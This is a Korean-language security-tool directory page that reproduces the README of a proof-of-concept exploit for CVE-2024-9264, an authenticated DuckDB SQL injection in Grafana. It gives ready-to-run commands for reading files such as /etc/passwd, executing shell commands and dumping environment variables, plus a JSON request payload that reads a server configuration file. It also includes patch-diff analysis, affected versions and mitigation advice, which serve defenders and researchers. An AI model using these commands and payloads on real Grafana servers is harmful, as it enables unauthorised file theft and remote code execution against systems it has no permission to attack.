Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-9264 — Grafana 임의 파일 읽기 및 RCE(CVE-2024-9264)용 익스플로잇 | Kitploit
도구/GitHubGitHub/nollium/cve-2024-9264
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnollium/cve-2024-9264

CVE-2024-9264

Grafana 임의 파일 읽기 및 RCE(CVE-2024-9264)용 익스플로잇

저장소 보기
1321631년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-9264

Grafana 인증 후 DuckDB SQL 인젝션 (RCE, 파일 읽기)

개념 증명 (PoC)

이 PoC는 CVE-2024-9264의 악용을 시연하며, 인증된 사용자가 DuckDB SQL 쿼리를 수행하여 파일시스템의 임의 파일을 읽거나 원격으로 임의 코드를 실행할 수 있음을 보여줍니다.

임의 코드 실행은 Grafana v11.0.0에서만 가능합니다.

파일 읽기는 모든 취약한 버전에서 가능합니다.

설정: 다음을 통해 필요한 종속성을 설치합니다:

root@kitploit:~
pip install -r requirements.txt

사용법

파일 읽기 (범용):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

명령 실행 (v11.0.0 전용)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

또한 getenv를 호출하여 환경 변수를 검색하는 것과 같은 임의의 DuckDB 쿼리를 실행할 수 있습니다:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

악용 가능한 DuckDB 유틸리티 함수 목록은 여기에서 확인할 수 있습니다.

취약점 개요

CVE-2024-9264는 Grafana의 실험적인 SQL Expressions 기능에서 발생하는 DuckDB SQL 인젝션 취약점입니다. 인증된 사용자는 Grafana 대시보드에서 수정된 표현식을 통해 임의의 DuckDB SQL 쿼리를 실행할 수 있습니다.

영향받는 버전:

  • Grafana OSS 및 Enterprise 버전 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, 11.2.0 - 11.2.1.

패치된 버전:

  • 11.0.5+security-01 이상

패치 찾기

Grafana는 이 취약점을 수정하기 위해 특별 버전을 출시했습니다. 패치를 분석하려면 다음 명령을 사용하여 변경 사항을 비교할 수 있습니다:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

이를 통해 SQL Expressions 기능이 취약한 버전에서 단순히 제거되었음을 알 수 있습니다.

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

이 패치는 SQL Expressions를 완전히 제거하여 악용 가능성을 차단합니다.

취약점 악용

  1. Grafana 실행: 버전 11.0.5로 Grafana를 실행합니다:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. 식 변경: "Math"와 같은 식이 있는 대시보드를 만들고 Burp로 요청을 가로챈 다음 datasource 유형을 math에서 sql로 변경합니다.

    HTTP 요청이 /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101로 전송됩니다.

    아래는 ./conf/ldap.toml과 같은 임의의 파일을 읽기 위한 DuckDB SQL 쿼리를 수행하는 데 필요한 최소 JSON입니다:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

실제 악용에는 대시보드가 존재할 필요가 없습니다. 단지 쿼리를 실행할 HTTP 요청을 쉽게 찾기 위한 방법일 뿐입니다.

악용 가능성

이 취약점이 치명적이지만 악용 가능성은 Grafana 서버에 DuckDB 바이너리가 설치되어 있는지 여부에 달려 있다는 점에 유의해야 합니다. 기본적으로 Grafana에는 DuckDB가 설치되어 있지 않으며, Grafana 인터페이스에서 직접 설치할 수 있는 옵션도 없습니다.

이 취약점을 악용하려면 관리자가 DuckDB를 수동으로 설치하고 Grafana 서버의 $PATH에 추가했어야 합니다. DuckDB가 없으면 SQL 인젝션 취약점을 활용할 수 없으므로 기본 설치에서 성공적인 악용 가능성이 크게 낮아집니다.

완화 조치

Grafana를 패치된 버전으로 업데이트하고, 패치가 지연되는 경우 $PATH에 DuckDB 바이너리가 없도록 하십시오.

크레딧

이 PoC는 cfreal이 개발한 ten 프레임워크를 사용합니다.

도구 다운로드